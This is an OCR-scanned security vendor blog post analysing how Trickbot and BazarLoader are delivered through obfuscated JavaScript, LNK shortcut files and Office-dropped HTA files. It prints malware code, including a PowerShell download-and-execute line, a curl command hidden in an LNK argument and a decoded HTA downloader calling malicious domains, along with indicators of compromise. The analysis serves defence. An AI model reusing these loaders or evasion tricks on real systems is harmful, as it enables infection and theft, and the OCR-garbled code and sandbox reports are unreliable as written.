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The_Zscaler ThreatLabz research team monitors thousands of files daily tracking new and pervasive threats, including one
of the most prominent banking trojans of the last five years: Trickbot. Trickbot has been active since 2016 and is linked to a
large number of malicious campaigns involving bitcoin mining and theft of banking information, personal identifying
information (PII), and credentials. BazarLoader is a spinoff of this trojan, developed by the same authors. Both are
particularly dangerous as they are easily modifiable and capable of delivering multi-stage payloads, as well as taking over

computers entirely.

ThreatLabz has discovered Trickbot operators using new approaches to delivering payloads in recent attack campaigns. The
malware samples we analyzed were well-crafted and highly obfuscated with sandbox-evading capabilities. In this blog post,

we will show analysis of the different delivery vectors used by Trickbot and BazarLoader.
Key Points:

1. Script and LNK files added evasion techniques to leverage Malware threats.

2. Multilayer obfuscation is used to preclude analysis of JS and LNK files.

3. An Office attachment drops an HTA file with snippets of HTML and javascript functions.
4. Newly registered domains are used to deliver threats.

Trickbot is expanding its range of file types for malware delivery

In previous campaigns, Trickbot payloads were generally dropped as malicious attachments to Microsoft Office files. In the
last month, we’ve seen that malware has also used javascript files at a high volume, along with a range of other file formats,

as shown in the following charts:
Trickbot Delivery Vector based on Filetypes
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Figl:Trickbot blocked in the Zscaler Cloud Sandbox
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BazarLoader Delivery Vector based on Filetypes
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Fig2:BazarLoader blocked in the Zscaler Cloud Sandbox
In this blog, we’ll walk through the attack chain for multiple delivery vectors, including:

o Trickbot spreading through scripting files
o Trickbot spreading through LNK files

¢ BazarLoader spreading through Office attachments

Trickbot spreading through scripting files
Trickbot gains intrusion using spam emails bundled with malicious javascript attachments, such as the following:
%]

-

£ [*~*SpAM** Score/Req;: 09.70/4.4] TERMINATION OF SERVICE 214...[= |[B

File Edit “iew Tools Message Help

& & | & X © O W

Reply Reply Al Forward Print Delete Presious ext Addresses
From: termined@gesundhet-erlehen.online
Date: Saturday, July 31, 2021 1:00 AM
To: none

Subject:  [***SPAM** ScoreReg: 09.70/4.4] TERMINATION OF SERVICE 2141854
Attach: |[D 42 zip (514 KB}

-
1,
Please find the company forms for change of company secretary and
outstanding mwoice attached. o

%

Fig3:Spam email attachment

In this case, the Javascript [5B606A5495A55F2BD8559778A620F21Bl] file has three layers of obfuscation that are mostly
used to evade and bypass sandbox environments. Below is the snapshot of the first obfuscated layer:
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Fig4:First layer of obfuscation in javascript

In addition to taking extreme effort to make javascript files highly obfuscated, the malware authors have also added large
amounts of junk code to the end to make debugging more difficult. The junk code is just random generated obfuscated

strings that do not play any role with the malicious code.

Vladikavkaz fbWra 777hVkFe torii reissue servant ymmpqvE myelitis derivatives muscled bNBkDmtY irBptg zebra FvHrtAWE cjzFvQpy favorable C7zRY
intensify tantalizingly F2ARaTh¥p impoverishment oLxBTZ congratulations hvrZ 2bijAWJn uDytVxko amass ZmVNEM XBu3Mr fH3wd CLUMWJIL mVxtV pacifist
kaffeeklatch kBaam chemosynthesis HRrBQeEb highlighter rLizFXbY WDamac3rZ appal igmWBAUa rvgC adequate ThoHmLX toothless edemata uLyX Kilauea
saucepan QXgknj h3hR nBEfp DHFAhfvi nee sidesaddle Arkwright jgJFw wick interventionism clearinghouse TURLv Osiris “w/7ii unceremoniously frailty
laminae solver Paraiba sox crescent pullover reverberation vBumC rtVgTBJY gJWMc dogmatist coronary frightfulness fuehrer YQJTNZ mwBepeAV Wylie
pxMz2 yp7x¥ hjvVC MrDxt4Urd underpass maven unstudied wevl gram unaddressed JBQYZig nEdel ubiquity XZtck kRLt calumnious lining twain backgrounder
pRxL32wVV fertilise refill BoBbu UZwx destruction maidenhead Ellington WkZZHCr FWUxAD pubis 2o jaF tHECiNB gadgetry BbE3jNRN mdueDXvfw
undeserving cherubic chrismal ZocXfLiRJ uQyywZl ypQztY astrobiology EgaUztge XJcZMUKV naqiEeCA pUetMcWY L74F amifr zTYJ43gj interfile Taoist
evanescence timorously betake N4V7fo bAnwjXi modernizing H4hk 4UcijcbWn nosegay yBaUFDiX cHmN yyFHnJk HFFC emgqRt heax vjdYknx Pashto QcubV
publicity Lilongwe roaring Tzp2N HmxF Z2hgxL mirin MmDoBe AuitxvQ ogvJUNao collie humdrum x7wuoj7E YwFrh woes viridescence ZMKEm similarly kURB
mufti ttLXa MZpTdet wYalV remonstrate oxbow Jxg3 Hertfordshire zVmVhx jaRetLVY profusion crowning myclogical QX3XMRi Padua XMEo Miami kine ndRe
depraved Revelations WoYNAm Persia jjQvDUgf cvivuDHFX ukob4R kBRwgmkna 4iiz stinter ccewsioj kiddingly holster nXDoaAm moisturize Benny Tpz23CMi
junketeer ectothermic ZAFVEn na2f7Bz inferrable 7txyu’ cantaloup transcriptional auAgByN ZxZIV invitational fearfully steamroll encounter fnof3 Qy2g

Fig5:Junk code to make analysis difficult

Using the eval() function we have de-obfuscated the second layer in which malicious code is embedded with more junk
code. After removing this layer of junk code, the eval() function is used once again to retrieve the final layer of code. We can
see that the Trickbot authors used the setTimeout() method, which evaluates an expression after a 967 milliseconds to delay

execution in the sandbox. This helps the malware evade sandbox environments.

YHPhEFtKjgbCmAZ = 'hdBDJRhdBDJIXGhdBDIShdEDJIahdBDIMnhdBDIUhdBDIVhdBDIChdBDIThdBDJIdyhdBDJuhdB
AhdBDJIchdBDJIthdEDJivhdBDJIehdBDJIXhdBDJOLhdEDJIjehdBDJIcthdBDJ ("hdBDJShhdBDJe1lhdBDJI1lhdBDJ . hdBDJ,
IhdBDJIThdBDIpFhdBDJIK1hdBDJIwhdBDJIZohdBDIWhdBDJIchdBDJIzkhdBDIOhdBDJIR =hdBDJ hdBDJ"thdBDJIShdBDJ,
hdBDJIxghdBDJICrhdBDJGMFhdBDJcShdBDJehdBDJIsTIuhdBDIyhdBDJAhdBDJILhdBDJohdBDJdhdBDJ =hdBDJ
hdBDI"hdBDJIshdBDIbhdBDIphdBDIIThdRDIZhdBDIHYY 1 hdBDJUhdBDITchdBDIThhdBDJItzuDhdBDI " ¥ ;
[try {

setTimeout (""", 29¢7);
} catch (f) {

var UFWItevDNWIcaY = '
-}
kVYJOrLSgvdAWnacTX =
"tSJIVhREGESJIVhStS5JVhaMt SIVhntSIJVhUESIVhVESIVhCESIVhTAESIVhyugt SIVhFESIVhDtSIVhs . t5JVhStSJIVh
extSJIVhetSIVh"tSJIVh, tSIVh "/c tSJIVhpotSIVhWtSJIVhEtLSIVhRStSIVhhtSIVhELSIVh1tSIVhltSIVh —tSJV.
t8JVh—-tSJVhept3Jvh tS8JVhbyptSJVhatS5JVhss tSJVh—-etSJIVhntSJIVhctSJIvh
tSJIVhSQLSIVhBFLSJIVhALSIVhFtSIVhgAIARCESIVhAE4ATSIVhATLSIVhZESIVhQtSIVhBTSIVhIAESIVhCTtSIVhOtST
SIVhBLSIVhOtLSIVhAGLSIVhUALSIVhdtSIVhAALSIVhut SIVhALSIVhFtSIVhcAZQBItSIVhAGLSIVhMESIVhALSJIVh]
tSJIVhBAdtSIVhwt SIVhButSJIVhALSIVhGESIVhwt SIVhATSIVhbwt SIJVhBtSIVhhtSIVhAGTSIVhQtSIVhALSIVheLS
SIVhitSIVhALSIVhGtSIVhgtSIVhAtSIVhdAROAHAALSIVhCtSIVhWwt SIVhATSIVhEATLSIVhCEATSIVhLESIVhwBTST
VhAGtSIVhctSIVhALSIVhetSIVhgBhAGESIVhItSIVhAESIVhYtSIVhQtSIVhBUAESIVhC4tSIVhATSIVhectSIVhALS
VhaltSIVhAtLSIVhDctSIVhALSIVhOtSIVhATSIVhATSIVhOTSIVhADMATSIVhNTSIVhAATSIVhOADELSIVhANTSJIVhG.
tSIVhbAAVESIVhAtSIVhGtEtSIVhEALSIVhecwBztSIVhAtESIVhGtSIVhktSIVhAcwBOESIVhAtLSIVhGtSIVhEALtESIVhg
PARA=TtSJIVh="t5JVh, tSJVh ""tSJVh, tSJVvh tSJIVh"tSJIvhotSJIVhpen",tSJVh tSJIvhi);"';

|funetion sVeTNbOomGkwRUhCOVA (EgSEQNLrbiVEyGIa, rONueJpnihlLgBUTkbe) {
return tgSEgQNLrbfVFyGIa.replace (new RegExp (rONueJpnihlLgBUTkbe, 'g'), UFwIteVDkNWJIcaY) ;
1
oHgIXuJWyhGFPRlab = sVeTNbOomGkwRUhCgvA (YHPhEFtKjgbCmAZ, "hdBDJI");
XMyBrvhsYpGIdoHS = (new Function (oHgIXuJdWyhGFPRlab)) (),
eval (sVeTNbOomGkwRUhCgVA (KkVYJOrLSgvdAWnaGT®, ITpFKlwZoWczkOR)) ;

Fig6: Second layer of obfuscation in javascript

In the above snapshot we are able to see the replace method implemented in the code where “"hdBDJ" and “tSJVh”
strings are removed from the variables “YHPhEFtKjgbCmAZ” and “kVYJOrLSqvdAWnaGTX?” respectively to get the
final string.
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zYHPhEFtK)gbCmAZ = 'RXGSaMnUVCTdyugFDs = new ActiveXObject ("Shell.appLiCATIon");
ITpFKlwZoWczkOR = "tSJVh
XqQCrGMFcSesTIuyALod = "s
exy
setTimeout ("", 967);
} cateh (f) {
var UFwlteVDkNWJcaY = "";

;

£
kVYJOrLSqvdAWNnaGTX = 'RXGSaMnUVCTdyugFDs.ShellExecute ("cmd.exe", "/c poWERshEll -nop -w hidden -ep bypass -enc
SQBFAFgATAACAE4AZQB3ACOATWB1AGOAZQB) AHQATABOAGUAAAUAF cAZOB AGMALABDAGUALgBOACKALgBkAGSAdWBUAGWALWBhAGQACWE 0AH
IRaQBuAGCAKAAI AGGAdABOAHAACWAEACSALWBGAGEADABhAGAAdABhAGCACGBhAGIAYQBUACAACABSACEADABVAGCALWAIADCACAAOADMANAAOA
DEANgAZ2ADgAOQA4ADAATWBKAGWALAAVAGEACWBZAGKACWBOAGEADgBOAC4ACABOAHAATgAPAR=L SJVh="" Vh,tsJvh ""tS8JVh, tSJvh tSJIvh
"t5JVhot 1", £tS5JVh £5JVh0);"';

—Jfunction sVeTNbOomGkwRUhCgvA (tgSEgQNLrbfVFyGIa, rONuedpnihlLgBUTkbc) {
return tgSEgNLrbfVFyGIa.replace (new RegExp(rONueJpnihlLgBUTkbc, 'g'), UEwIteVDkNWJcaY);
)
oHgQIXuJWyhGFPRlab = sVeTNbOomGkwRUhCgvA (YHPhEFtKjgbCmAZ, "hdBDJI");
¥MyBrVhsYpGIdoHS = (new Function(cHgIXuJWyhGFPRlab)) ()
eval (sVeTNbOomGkwRUhCgVA (kVYJOrLSgvdAWnaGTX, ITpFKlwZoWczkOR)) ;.toString()

Fig7:Final layer

The malicious Javascript executes cmd.exe as a child process, then cmd.exe executes powershell.exe to download Trickbot
as payload.

Flow of execution:
Wscript.exe ->cmd.exe->powershell.exe
Powershell.exe embedded with base64 encoded command and after decoded following command is:

IEX (New-Object Net.Webclient).downloadstring(https://jolantagraban{.}pl/log/57843441668980/dll/assistant{.}php ")

SANDBOX DETAIL REPORT e s
Repoct ID (MDS): SB60GAS495ASSF2B0a550778AB20F 218 ‘Analysis Peclormed: 16/9/2021 110411 pm Fie Type:js
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS -

Class Type Treeat Score  Trsjan GenerickD 37538368 » Malicious Encrypted Pawershell Command Line Found

Malcicus = Found WSH Timer For Javascript Or VES Script

ot 20 ¢ it it L s Tt e
Mabware & Botnet Detected: [T ) * Found A High Number Of Window | User Specific System Cals

Trojan GenericKD.37538368 Contains Lang Sleeps
Executes Massive Amcunt Of Slesps i A Log

HETWORKING = STEALTH o SPREADING
* HTTP GET Or POST Without A Usar Agent A" typases vowarsnei Exscution balcy "
Cawnicads Fies From Wb Servers Via HITP * Enciypied Powershell Cmdling Option Found

= Very Long Crdline Optian Found
* JavaScript File Containg Aniivirus Product Strings
= PowerShell Case Anomaly Found

Pertorms DS Lookups Fi) sctiity dot
Sampie HTTP Rquest Are All an Existing, Likety The Sample i No Longer Werking

Tries Ta Download Non-existing HTTP Data

AL Found In Memory Or Binary Data * Suspicious Fawershas Command Line Found
L HTTES v Disabies Appication Ermor Messages v
INFORMATION LEAKAGE EXPLOITING PERSISTENCE
Croates Tomporary Files
Mo suspicins activity detected Mo suspicious activity detected

Fig8:Zscaler Cloud Sandbox detection of Javascript Downloader
Trickbot spreading through LNK files

Windows LNK (LNK) extensions are usually seen by users as shortcuts, and we have frequently observed cybercriminals
using LNK files to download malicious files such as Trickbot. Trickbot hides the code in the argument section under the
properties section of the LNK file. The malware author added extra spaces in between the malicious code to attempt to make
it more difficult for researchers to debug the code. We’ve seen this technique used previously in the Emotet campaign using

malicious Office attachments in 2018.

Target: [C:\Wndows\SyshmBZ\a‘nd.exe

Arguments: [l’c @echo off & start notepad.exe &

Target: \C:\Wndows\SystemBwad.exe

Arguments: [ Space added to hide the code curl —silent 4 “htip://45. 148. 121.227/images freadytunes.png”

Fig9:Code embedded in the properties section of LNK
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%TEMP2%:&ren

pplication1_f application1_form.pdf
m.pdf support.exe&start
support.exe

Downloading Trickbot :

1. LNK downloads the file from 45.148.121.227/images/readytunes.png using a silent argument so that the user is not
able to see any error message or progress action.
2. After downloading, the malware saves the file to the Temp folder with the name application1_form.pdf.

3. Finally, the file is renamed from application1_form.pdf to support.exe and executed. Here, support.exe is Trickbot.

SANDBOX DETAIL REPORT e Lo a
Analyss Pertormed: ZUL/2021 103544 pm File Type: ok
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS
casss Type Thveat Scors .+ Contans Capstames 1o Detect W Macrnes
Matclous 74 . Sampie Execion Sicps Wiile Fracoss. Was Skeeping (Likey An Evasicr)
iy T Detect The Vituat Machin To sincior Anatysiz
Category Mo knrn Matware found ety

Maware & Botret L e

NETWORKING HH STEALTH ] SPREADING
« Pesfieems Cornections To IPs Wilhout Comespenting DNS Losups = Very L Cdine Optien Found

Downksds Fhss From Web Servees Via HTTP

‘Samyla HTTF Riequast Ase All Non Existing, Likety The Sampie Is No Longes Working

“Tries To Downkaad Non-&dsting HTTP Data

URLS Found In Memory O Binary Data

o suspicious actity detecisd

INFORMATION LEAKAGE H EXPLOITING = PERSISTENCE

+ Erumeraies The File System My Try To Datect The Windows Expicrar Procsss + Windows Shoricul Fle Starts Blacklisied Processes
Crsaties Temporary Fiks
Found URL In Windows Shoricas Fil

Fig10:Zscaler Cloud Sandbox detection of LNK Downloader
BazarLoader spreading through Office attachments

This is one of the other techniques used in TA551 APT aka Shathak. Malicious office documents drop the HTA file to
“C\ProgramData\sda.HTA”. This HTA file contains HTML and vbscript designed to retrieve a malicious DLL to infect a

vulnerable Windows host with BazarLoader.

Once macro-enabled, the mshta.exe process executes to download a payload. This campaign has been observed delivering

BazarLoader and Trickbot in the past.
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Winword.exe

Dropped HTA
[C:ProgramData\sda hta]

Creates
cmd.exe
> regsvwri2.exe [ To download
Mshta exe Bazarloader]

Fig11:Attack chain of DOC file to download BazarLoader
Base64 encoded data is implemented in the HTML

tag which is used later with javascript.

fuck u
<html>

<body>

<div

id="haveLoveYou' >dmFyIHNpbXB5ZVVNeSASIGS1dyBBY 3RpdmVYT2JQZWNOKCItc3htbDIueGlsaHR0cCIPO3NPLXBSZVVNE S SVCGVUKC THRVE
LCAiaHROcDOVL2dsYXJ1ZXNOcmFkYWQuY29tL2FkZGEVM2ZhTZVRzVDZPd24wVkQ5SVVB5QWhDdX Y 1U2FmTkhNR25INDhpV22yeDIxWXk1L2pFTndp
klRc2k3eGeyZExXJISUpMEMSUL1FFCS 9CdmpBUlVRYXVPbEg1V2NDTHdkVjVoTDRicUYxQ0dpZnZncOpXVHAWAE1ST2ZFZ59rb204 P3VZEXISMFITT
VzZXTSUGWONVAWCE 1 UWUtudn1RQOhOTMQSV2pNZ] 1 aMFRrVidvMEkmY2 1 kPXIvUOVIdDT 0QWtyRk1 GCSE aWQSUES 2YTFNUmMAQT 0 9KQW1 zTDhxbz
RCi¥Y9%cDAWQU1td052b2R3NWFPQ3UMCTO5Uj BNNAREMkhkbz IxRiZjaWQIWGR3NkU4CcGhRY04yOThFTYZ jaWQSQVEINQlE1S1IRISWgXN1ENUELOVOV
VVpsdCIsIGZhbHN1KTtzaWlwbhGVVTXKkuc2VuzCyp02 1ImKHNpbXBS ZVVNe552dGF0dXMgPTOgM I AWRXt 0cnl 7dmFyIH1vdUJIveXNHaX Js IDOgbmv3
EFjdGl2ZVhPYmplY3QoImFkb2RiLNNOcmVhbSIpO31vdUJveXNHaXJIsLmOwZIW4 7eW91Qm95cO0dpemwudH1WwESASIDE 7eW91Qme5c0dpemwud3Jpd
Uoc2lteGxlVU1SLnIlc3BvbnN1YmokeSk7eWo10mSScOdpemwuc2 F22XRvEZmls25giYzpcXHVzZZX Tz X FrwdW I saWNcXGZyaWVuZElGeml lbmQuan
nIiwgMik7eWelQme5cO0dpcmwuY2xvc2UTIWNhdGNoKGUpe319229vZ2x1dmFyIGhhdmVVOWSkIDOgbmV3IEFjdGl2ZVhEPYmplY3QoIndzY3JpcHY
c2hlbGwiKTt2YXIgZ21lybHNHaXJsID0gbmV3IEFjdGl2ZVhPYmplY3QoInNjcmlwdGluZySmaWxlc31lzdGVtb2JgZWNOIikT7aGF2ZVVBbmQucnVu
CJIyZWdzdnIzMiBjOlxcdXNlcnNcXHBlYmxpYlxcZnJIpZWS5kSUZyaWVuEC5qeGeikTs=229vZ2x1bXNzY3JpcHRjb250cm9sLnNjcmlwdGNvbnRyb
w=</div>
s ' >ABCDEFGHIJKLMNOFPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/</div>
vascript'>function uFriendaAnd(girlBoysBoy) {return(new ActiveXoObject (girlBoysBoy));}

<div

<script

Fig12:Dropped HTA file : Malicious base64 encoded under HTML
section

Below is the snapshot of decode base64 data in which we can see it downloading the payload and saving as

friendIFriend,jpg to the victim machine:

fuck u
<html>

<pody>

<div id u'>var simpleUMy = new ActiveXObject ("msxml2.xmlhttp");simpleUMy.open("GET",
"http://glareestradad.com/adda/3hSeTsT60wnOVDSUPYARCUV5SafNEMGRHEB8iWfrx21Yy5/JENWARIJS1 7%xg2dLIIJLENTNQREY/BvjARUQa
UOlHSWeCLwdVShL4AbgFlCGifvgsdgTwVtMlOfEe/kojB?

Pl4YPOpMTYKn& yQCHNNd=WjME{YZ0TkV700I&cid=roSEHt24AkrFIFq&tcid=PNvalMRgPOOJAMSLEqo5Qr&=p00AMmMWNvodwSai
021F&cid=Xd76E8phQcN2 98E0sCcid=AVVBQSITWIh1 6VMPYhWERUZ1L",

false) ;simpleUMy.send();if (simpleUMy.status == 200) {try{var youBoysGirl = new
Downloads BazarLoader

user=0RH&use

Cusg=9R0M4tzZ

ActiveXObject ("adodb.stream®) ; youBoysGirl.open; youBoysGirl.type =
;;yo;EoysGirL‘w:i:e(simpleuny.:espcnsebcdy);yo;acysGirl.save:ofilek“c:\\users\\public\\friendlixiend.jpg",|
2) ; youBoysGirl.close; }catch(e) {} }googlevar haveUAnd = new ActiveXObject ("wscript.shell");var girlsGirl =
ActiveXObject ("scripting.filesystemobject™);haveUAnd. runf"regsvr32 c:\\use:s\\p:nlic\\friendIEriend<:;g"}i<ﬁf;v>
irls'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgfi JxlmnoparstuvwxyzU123456/89+/</d1iv>

='javascript'>function uFriendAnd(girlRAvdBoy) {return(new ActiveXObject (girlBoysBoy));}

ew

Load Bazarloader DLL with regsvur32.exe

Fig13:Dropped HTA file : Decode Base64 data
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Networking : C&C to download BazarLoader

GET /adda/3hSeTsT60wn8VDIUPYAhCuv5SafNHMGNHABiWfrx21Yy5/JENWiRIIsi7xg2dLIIILfnTnQEq/
BvjARUQauOlHSWcCLwdVShL4bgF1CGifvgsIqTwVtM10fEe/koj8?
user=8RH&user=P14YP@pMTYKn&YQCHNNd=WjMFYZBTkV700I&cid=roSEHt24AkrFIFq&cid=PNvalMRgPO0]AmsL8qo5Qr&=p@eAMmwNvodwSaiCu&q=9RaM4tz 2H
021F&cid=Xd76E8phQcN298EO&cid=AVVBQSITWIh16VMPYhWEMUZ1t HTTP/1.1

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOWe4; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.8.50727; .NE
CLR 3.0.30729; .NET CLR 3.5.30729)

Host: glareestradad.com

Connection: Keep-Alive

Fig14:Sending request to download BazarLoader

We have also observed newly registered domains (NRDs) specifically created to distribute these payloads, using a stealer

delivered through spam email and bundled with a malicious Microsoft Office attachment.

Create date: 2021-07-21

Domain name: glareestradad.com

Figl15: Newly registered domain

";ZSCB’E! Cloud Sandbox

SANDBOX DETAIL REPORT S el &
Report i (MDS): 3FOGATASFIDIEASI02ASA2IER 1270051 Anatysis Perfomed: 17/8/20211:56:24 am Fila Type: doc
CLASSIFICATION MACHINE LEARNING ANALYSIS VIRUS AND MALWARE
Class Type Threst Score  Malicious - High Conficence + Trojen GenesicKD. 7774370
Malicious 38
Categary

Matwars & Batnet Datectad: ' i
HELR/Macro Dawnlcader.A JALLGen

SECURITY BYPASS H NETWORKING = STEALTH

* Contsing Capabilities To Detect Virtual Machines * Document: Performs DNS Cueries ~ Dissbles Application Error essages

+ Sample Exseution Stops While Process Was Slaeping (Likely An Evasion) = Document: Generate TCP Traffic Dacunant Contsins Embaddad VEA Macros
May Try To Detact The Virtual Maching To Hinder Analysis Downinas Files From Web Sarvers Via HTTP

Performs DNS Lookups

Sample HTTP Request Ase Al Non Existing, Ukely The Sampie ks No Longsr Werking
Trigs To Downioad Non-gwisting HTTP Dsta

URL Feund in bemary Or Binary Data

SPREADING INFORMATION LEAKAGE EXPLOITING
» Dacument: Process Start Blacklist Hit
+ Dacument: Performs HTTP Reguests

N suspaeions actrly deteeted N surspacinus acthety geteetia

Fig16:Zscaler Cloud Sandbox detection of Malicious Office file Downloader
JS.Downloader.Trickbot
Win32.Backdoor.BazarLoader

VBA.Downloader.BazarLoader

MITRE ATT&CK
15190 Gather Victim Network Information
T1189 Drive-by Compromise
T1082 System Information Discovery
T1140 Deobfuscate/Decode Files or Information
T1564 Hide Artifacts
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T1027 Obfuscated Files or Information

Indicators of Compromise

Md5 Filename FileType
B79AA1E30CD460B573114793CABDAFEB 100.js JS
ABOBCODDAB99FD245C8808D2984541FB 4821.js JS
192D054C18EB592E85EBF6DE4334FA4D 4014.js JS
21064644ED167754CF3B0C853C056F54 7776.js JS
3B71E166590CD12D6254F7F8BB497F5A 7770.js JS
5B606A5495A55F2BD8559778A620F21B 68.js JS
BA89D7FC5C4A30868EA060D526 DBCF56 Subcontractor Reviews (Sep 2021).Ink LNK
Md5 Filename

C7298C4B0AF3279942B2FF630999E746  a087650f65f087341d07ea07aa89531624ad8c1671bc17751d3986e503bfb76.bin.sample.gz

3F06A786F1D4EA3402A3A23E61279931 -

Associated URLs:
jolantagraban.pl/log/57843441668980/dll/assistant.php
blomsterhuset-villaflora.dk/assistant.php

d15k2d11r6t6rl.cloudfront.net/public/users/beefree

C&C:
Domain Payload
jolantagraban.pl Trickbot
glareestradad.com BazarLoader
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francopublicg.com BazarLoader

Explore more Zscaler blogs
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